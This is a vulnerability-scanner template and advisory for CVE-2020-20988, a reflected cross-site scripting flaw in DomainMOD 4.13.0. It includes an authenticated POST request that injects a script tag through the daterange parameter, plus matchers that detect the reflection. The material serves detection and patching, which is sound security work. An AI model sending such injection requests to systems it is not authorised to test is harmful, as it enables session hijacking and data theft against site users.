CVE-2020-20988: DomainMOD 4.13.0 - Cross-Site Scripting

2025-08-01 DomainMOD 4.13.0 PoC Public

Description

DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter.

PoC

id: CVE-2020-20988

info:
  name: DomainMOD 4.13.0 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    DomainMOD 4.13.0 is vulnerable to cross-site scripting via reporting/domains/cost-by-owner.php in the "or Expiring Between" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://mycvee.blogspot.com/p/xss2.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20988
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-20988
    cwe-id: CWE-79
    epss-score: 0.01331
    epss-percentile: 0.69671
    cpe: cpe:2.3:a:domainmod:domainmod:4.13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: domainmod
    product: domainmod
  tags: cve2020,cve,domainmod,xss,authenticated,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        new_username={{username}}&new_password={{password}}
      - |
        POST /reporting/domains/cost-by-owner.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "value=\"\"/><script>alert(document.domain)</script>")'
          - 'contains(body_2, "DomainMOD")'
        condition: and
# digest: 4a0a0047304502204fa8c7215a97079ab1e1c6e6760a98809281a47077b150b8e400b506134d4c73022100b06699625efcf7d3b4e97a28ab5ba63b1b0715464098862d7ff2f982217b8ca4:922c64590222798bb761d5b6d8e72950

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